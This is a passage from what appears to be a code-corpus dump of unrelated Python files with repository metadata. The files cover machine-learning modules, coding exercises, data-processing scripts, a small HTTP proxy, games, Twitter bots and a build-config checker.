weights[max_weight_asset] += falta
... | true |
4bd59367690b852f9bf9fa4138bf020b9c59157d | Python | r39ashmi/LastMileRoutingResearchChallenge | /src/utils/models/adjacency_encoder.py | UTF-8 | 1,532 | 2.78125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Apr 28 09:43:48 2021
@author: Rashmi Kethireddy
"""
import numpy as np
import torch.nn as nn
from torch.nn import functional as F
import torch
torch.manual_seed(400)
class SpectralRule(nn.Module):
def __init__(self, in_units, out_units, **kwargs):
... | true |
763ab48775b53a33fc2e1c0e88d44ae49cc751e4 | Python | jakelevi1996/backprop2 | /data/guassian_curve.py | UTF-8 | 3,033 | 2.90625 | 3 | [] | no_license | import numpy as np
from data.regression import Regression
def _noisy_gaussian(
x,
input_offset,
input_scale,
output_offset,
output_scale,
noise_std,
output_dim,
):
x_affine_transformed = np.dot(input_scale, x - input_offset)
y_pre_affine_transformation = (
np.exp(-np.square(... | true |
554d92888f7c3c0bf55c3e76586b69749128a5f6 | Python | darklatiz/MathematicsForML | /intro/coursera/test/week2_assesment.py | UTF-8 | 1,290 | 3.96875 | 4 | [] | no_license | from intro.coursera.vectors import Vector
'''
A ship travels with velocity given by [1,2], with current flowing
in the direction given by [1,1] with respect to some co-ordinate axes.
What is the velocity of the ship in the direction of the current?
A. The projection of the velocity into the current vector
'''
r = ... | true |
d7d9169220b404d81242691085c1cc05766c6c45 | Python | lgt494371725/leetcode | /十进制转二进制.py | UTF-8 | 210 | 3.375 | 3 | [] | no_license |
temp=[]
def binary(decimal):
result=''
while decimal:
a=decimal%2
decimal//=2
temp.append(a)
while temp:
result+=str(temp.pop())
return result
print(binary(10))
| true |
917684c32c255524405ac5dc09e64c5f6a578790 | Python | carolsgit/python | /抓取网页字符串.py | UTF-8 | 458 | 3.15625 | 3 | [] | no_license | import urllib.request
def lookinfo():
page=urllib.request.urlopen("http://www.lookinfo.com.cn/do/alonepage.php?id=2") #urllib.request.urlopen抓取网页
text=page.read().decode("gb2312") #抓取内容赋值给text,并转码成gb2312格式便于阅读
# a=text[3000:3500] #抓取text中3000到3500之前的内容赋值给a
start=text.find("海南")
end=start+... | true |
114e3222c546687ea1c5e3eeae9ebda3e59656aa | Python | paulRarity/python1 | /strings.py | UTF-8 | 270 | 3.140625 | 3 | [] | no_license | course = "python for beginner"
print(course[3])
course = "python for beginner"
print(course[:])
study = "ky su"
print(len(study))
print(course.replace("p","Q"))
print(course.replace(course,study))
print(course.upper())
print(course.find("p"))
print("python" in course) | true |
ab815f5b89156be9459819dfb0aeef8c7bfd1741 | Python | SheldonGrant/f1-tires | /scripts/f1_scripts.py | UTF-8 | 6,898 | 2.640625 | 3 | [] | no_license | import pandas as pd
import numpy as np
import datetime
import os
from collections import defaultdict
def assign_lap(df):
df['LAP'] = 1
cols = ['NO', 'GAP', 'TIME', 'LAP']
drivers = df[0].unique()
data = df.values
for driver in drivers:
data[data[:,0] == driver, 3] = data[data[:,0] == driver... | true |
8d3e66f452c1789ffa2c4b52a0e530d94f8cb979 | Python | bioCKO/lpp_Script | /pacbiolib/thirdparty/pythonpkgs/scipy/scipy_0.9.0+pbi86/lib/python2.7/site-packages/scipy/linalg/tests/test_lapack.py | UTF-8 | 1,563 | 2.546875 | 3 | [
"BSD-2-Clause"
] | permissive | #! python
#
# Created by: Pearu Peterson, September 2002
#
from numpy.testing import TestCase, run_module_suite, assert_equal, \
assert_array_almost_equal, assert_
from numpy import ones
from scipy.linalg import flapack, clapack
class TestFlapackSimple(TestCase):
def test_gebal(self):
a = [[1,2,3],... | true |
eae91c78ac57a6c3bd09d64e39b2ab0bdda0fe3e | Python | AlexTK2012/HKU-7507-Visual-Analysis | /python/process_data_human.py | UTF-8 | 10,785 | 3.65625 | 4 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
movies表字段:
budget,genres,homepage,id,keywords,original_language,original_title,overview,popularity,production_companies,production_countries,release_date,revenue,runtime,spoken_languages,status,tagline,title,vote_average,vote_count
credits表字段:
movie_id,title,cast,crew... | true |
a9ce2df5e3ba5fef5b7d1ea6205b45e881608e08 | Python | jingwanha/algorithm-problems | /leetcode/49_medium(1).py | UTF-8 | 888 | 3.828125 | 4 | [] | no_license | # https://leetcode.com/problems/group-anagrams/
from typing import List
class Solution:
# 첫 풀이 방법
# 수행시간이 n제곱이기 때문에 Time Limit Exceeded 에러 발생
# defaultdict를 이용하여 n 시간만에 풀이 가능
def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
anagrams = []
while strs:
word = strs.... | true |
a8dce830a2a379b7d5a52d91e149cf2700851644 | Python | jupmorenor/201520-redes1-Protocolo | /src/nucleo/transmisor.py | UTF-8 | 1,100 | 3.0625 | 3 | [] | no_license | # -*- coding:utf-8 -*-
'''
Created on 22/11/2015
@author: Juan Pablo Moreno - 20111020059
'''
import socket
class Transmisor(object):
'''
Clase que implementa la conexion, transmision y recepcion de mensajes
mediante la encapsulacion de un socket
'''
def __init__(self):
self._conector = socket.so... | true |
b9c0444dfc35cf6aae45a076fd7bbbffe08aacd5 | Python | Sebibebi67/Project_Advanced_Algo | /code/validercorde.py | UTF-8 | 715 | 3 | 3 | [] | no_license | from lib import *
s = [Point(-9,3), Point(-2,5), Point(0,4), Point(1,1), Point(-1,-2), Point(-4,-4), Point(-9,-1), Point(-10,1)]
#Hexagone 0,7
#c = [(2,6)]
def exist(c,i,j):
return (i,j) in c or (j,i) in c
def intersectionCorde(a,b,c,d):
min1 = min(a,b)
max1 = max(a,b)
min2 = min(c,d)
max2 = max(c,d)
return... | true |
1290d62b7079c92d1e3e3aabf508de6a59a24757 | Python | boogiefromzk/python_proxy | /proxy.py | UTF-8 | 8,258 | 2.703125 | 3 | [] | no_license | #!/usr/bin/python3
# -*- coding: utf-8 -*-
"""Proxy server for Ivelum test:
https://github.com/ivelum/job/blob/master/code_challenges/python.md
Bugaevsky T., 2017, zk.boogie@gmail.com
"""
import http.server
import urllib.request
import urllib.parse
import urllib.error
import html
import io
import shutil
import re
i... | true |
0eb619b301248a534ae751fc025c304ced4e57ed | Python | windard/ModernCryptography | /cryptopals/quiz2.py | UTF-8 | 948 | 3.390625 | 3 | [] | no_license | # coding=utf-8
def hex2num(strings1,strings2):
text = ""
for x in xrange(0,len(strings1),2):
text += hex(int(strings1[x:x+2],16) ^ int(strings2[x:x+2],16))[2:]
return text
def hex2num(strings1,strings2):
return "".join([hex(int(strings1[x:x+2],16) ^ int(strings2[x:x+2],16))[2:] for x in xrange(0,len(strings1),2... | true |
f0e3ec0a058b32996d2e686b5d32885d24bf92cb | Python | Shiv2157k/leet_code | /revisited/trees/level_order_traversal.py | UTF-8 | 1,686 | 3.671875 | 4 | [] | no_license | from typing import List
from collections import deque
class TreeNode:
def __init__(self, val: int, left:int=None, right:int=None):
self.val = val
self.left = left
self.right = right
class BinaryTree:
def get_level_order_traversal(self, root: "TreeNode") -> List[List[int]]:
"... | true |
91ec96f2f81f3462e4457518dd3f0b1405b22c6a | Python | Coutinho306/ML | /Templates/Regression Template.py | UTF-8 | 1,427 | 3.515625 | 4 | [] | no_license |
# coding: utf-8
# # Regression Templates
# ### Importing Libraries
# In[ ]:
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import os
# ### Setting Datasets directory and Importing dataset
# In[ ]:
os.chdir("C:\\Users\\Thiago\\Desktop\\Python-ML\\Datasets")
dataset = pd.read_csv("Pos... | true |
ec53003190925e827e9a67f0c23cf2178b6899f1 | Python | j415/DjangoBasics | /0730-线程、进程、协程/3、线程/11.线程通信.py | UTF-8 | 422 | 3.15625 | 3 | [] | no_license | import threading, time
def func():
# 事件对象
event = threading.Event()
def run():
for i in range(5):
#阻塞,等待事件的触发
event.wait()
# 重置
event.clear()
print("aspiring-----%d" %i)
t =threading.Thread(target=run).start()
return event
e = fu... | true |
01fd0eb7d49ad7c1837e7b16864ef90919cd9926 | Python | nxlr/PatentsView-APIWrapper | /api_wrapper.py | UTF-8 | 3,844 | 2.734375 | 3 | [] | no_license | from __future__ import print_function
import configparser
import json
import os
import requests
import json_to_csv
import sys
import pandas as pd
def query(configfile):
# Query the PatentsView database using parameters specified in configfile
parser = configparser.ConfigParser()
parser.read(configfile)
... | true |
0c8dbe74adc8ca98c7a8a97c57dba338118c9c61 | Python | ehsansh84/services | /bigtc/handlers/crawler.py | UTF-8 | 828 | 2.515625 | 3 | [] | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import tornado.web
import redis
class CrawlerHandler(tornado.web.RequestHandler):
def get(self, *args, **kwargs):
r_server = redis.Redis('localhost')
crawler_data = {
'status': '',
'expire': -1
}
action = self.ge... | true |
31a61e754098e40f39ee279f894a57953572b94d | Python | ahmadturkmani/CPSC231 | /Battleship/Ahmed/Battleship41.py | UTF-8 | 3,830 | 4.1875 | 4 | [
"MIT"
] | permissive | #********************************************
# By Ahmed Elbannan
# September 22nd 2013
# Battleship CPSC231 (Limited Edition! ;] )
#********************************************
# global variables
direction = 'horizontal';
x = ord('A');
y = 0;
# Title Screen! Now a function!
def print_titlescreen():
print();
... | true |
cb82c9d4823fa3cf522e68655129cb51a44214e1 | Python | xikunqu/Python_100_days | /D1-15/Day7/eg3.py | UTF-8 | 623 | 3.8125 | 4 | [] | no_license | def main():
fruits=['grape','apple','strawberry','waxberry']
fruits+=['pitaya','pear','mango']
#循环遍历列表元素
for fruit in fruits:
print(fruit.title(),end=' ')
print()
#列表切片
fruits2=fruits[1:4]
print(fruits2)
#fruits3=fruits #没有复制列表只创建了新的引用
#可以通过完整切片操作来复制列表
fruits3=fruits[... | true |
fa96017b58807484e1f84b74b3e3460ad5557992 | Python | alysivji/talks | /code-smell--if-statements/examples/polymorphic_animals.py | UTF-8 | 255 | 3.671875 | 4 | [] | no_license | class Animal:
def __init__(self, name):
self.name = name
def speak(self):
raise NotImplementedError
class Cat(Animal):
def speak(self):
return "Meow!"
class Dog(Animal):
def speak(self):
return "Woof!"
| true |
ce0927c70ee24243b0a5a1d8f8ccd415ba0018c8 | Python | ES654/assignment-2-yadavsunny05 | /tree/utils.py | UTF-8 | 2,645 | 2.953125 | 3 | [] | no_license |
import math
import numpy as np
import pandas as pd
def entropy(Y):
entro = 0.0
sample_count = dict()
for i in range(len(Y)):
if(str(Y[i]) in sample_count):
sample_count[str(Y[i])] +=Y[i][-1]
else:
sample_count[str(Y[i])] =Y[i][-1]
for i in sample_count.keys(): ... | true |
fd115b36382655300abaa5914b0ebe1d1c2635cc | Python | fenght96/Detection_maybe | /im_read_and_show.py | UTF-8 | 593 | 2.625 | 3 | [] | no_license | import matplotlib.pyplot as plt
import matplotlib.image as mpimg
fig = plt.figure()
plt.subplots_adjust(wspace =0, hspace =0)
img_list = []
i = 1
for path in ['./', './']:
for img in img_list:
for xx in ['rgb', 'trm']:
img1 = mpimg.imread(path + xx +'/' + img + '.jpg')
... | true |
31f82d9f2a5b5b53f46541165351b430b187dae4 | Python | mrFred489/AoC2018 | /17.py | UTF-8 | 4,499 | 2.65625 | 3 | [] | no_license | from collections import *
import itertools
import random
import sys
import re
f = open("17.txt").read().split("\n")
# f = open("17.example").read().split("\n")
m = []
bounds = defaultdict(set)
for line in f:
if line == "":
continue
line = line.split(", ")
c1, c1d = line[0].split("=")
c1d = i... | true |
ec12f074c7630c11f6218f94a57cc8ecfadcfe19 | Python | anantkaushik/algoexpert | /Balanced-Brackets.py | UTF-8 | 898 | 4.25 | 4 | [] | no_license | """
Problem Link: https://www.algoexpert.io/questions/Balanced%20Brackets
Write a function that takes in a string made up of brackets ("(", "[", "{", ")", "]", and "}") and other optional characters.
The function should return a boolean representing whether or not the string is balanced in regards to brackets.
A str... | true |
b877d0459a9107e8dacde3f80f235b8d354ddcbf | Python | bauer90/scaling-hipster | /apr17/7_4.py | UTF-8 | 1,229 | 3.78125 | 4 | [] | no_license | # implements 'substitution' operation using only 'addition'
def sub_using_add(a, b):
return a + negate_using_add(b)
# implements 'multiplication' operation using only 'addition'
def mult_using_add(a, b):
result = 0
abs_a = my_abs(a)
abs_b = my_abs(b)
for i in range(0, abs_b):
result += abs_... | true |
1f2db8e70adfe7867430f59ba087b65dd422503a | Python | PaulMaillard/algo | /python/fonctions.py | UTF-8 | 370 | 3.859375 | 4 | [] | no_license | #Les fonctions
#by Paul Personne
#Beweb Lunel
evenement = ["pleut", "beau", "neige", "grele"]
def affichageDuTemps(temps) :
if temps == "beau" :
temps = "fait " + temps
print("Il " + temps)
longueurDuTableau = len(evenement)
for i in range(longueurDuTableau) : #pour i = 0 a i < longueur du tableau
event = even... | true |
1f7cd4809a0aefbf059531010088a9c58e4d9fd8 | Python | christhemastercoder/flaskapp2 | /api/user_db2.py | UTF-8 | 921 | 2.6875 | 3 | [] | no_license | import pyodbc as po
from flask import jsonify
server = '127.0.0.1,1433'
database = 'People'
username = 'sa'
password = '615Laurafc!@'
cnxn = po.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER=' + server + ';DATABASE='+database+';UID='+username+';PWD=' + password)
cursor = cnxn.cursor()
def getAllPeople():
... | true |
d42598e1307a63717ae687dc8ee53e538c0ae8d7 | Python | mezhebovskyy/studying | /structure_models/some_various_examples/tweetcount.py | UTF-8 | 963 | 3.3125 | 3 | [] | no_license | tweetLength = 10
fileName = "tweetspile.txt"
def main():
displayTweets()
while True:
sentence = raw_input("Make us happy with your new thoughts using Twitter: ")
if sentence == ".":
break
if len(sentence) <= tweetLength:
savetofile(sentence)
if len(senten... | true |
5ad1a67b28d1ac9729393e365b7ec518af5f119c | Python | amogh7joshi/deeptoolkit | /deeptoolkit/losses.py | UTF-8 | 2,732 | 3.046875 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python3
# -*- coding = utf-8 -*-
from __future__ import absolute_import
from tensorflow.keras.losses import Loss
import deeptoolkit.core.functional as F
from deeptoolkit.internal.conversion import apply_tensor_conversion
__all__ = ['BinaryFocalLoss', 'CategoricalFocalLoss']
class BinaryFocalLoss(Loss... | true |
0700e3f776a227a1e83b97da0807bfe378b9ebd9 | Python | 5l1v3r1/feh_bot | /tweet_listener.py | UTF-8 | 1,350 | 2.75 | 3 | [
"MIT"
] | permissive | import tweepy
import time
import telegram
#TODO: may need to figure out if external class can be used or not, need the list of chats and stuff
# Listener for Twitter, overrides tweepy's StreamListener to provide
# functionality for telegram
class TweetStreamListener(tweepy.StreamListener):
def on_status(self, s... | true |
26fe0e5fe2c16088f2b2404755cfde1aaf4992f3 | Python | ARM-software/bob-build | /scripts/check_config_usage.py | UTF-8 | 5,676 | 2.875 | 3 | [
"Apache-2.0"
] | permissive | #!/usr/bin/env python3
import argparse
import fnmatch
import os
import re
import sys
class Configs:
_configs = dict()
# Support the in keyword
def __contains__(self, key):
return key in self._configs
# Record a new config
def append(self, config, file, line):
self._configs[conf... | true |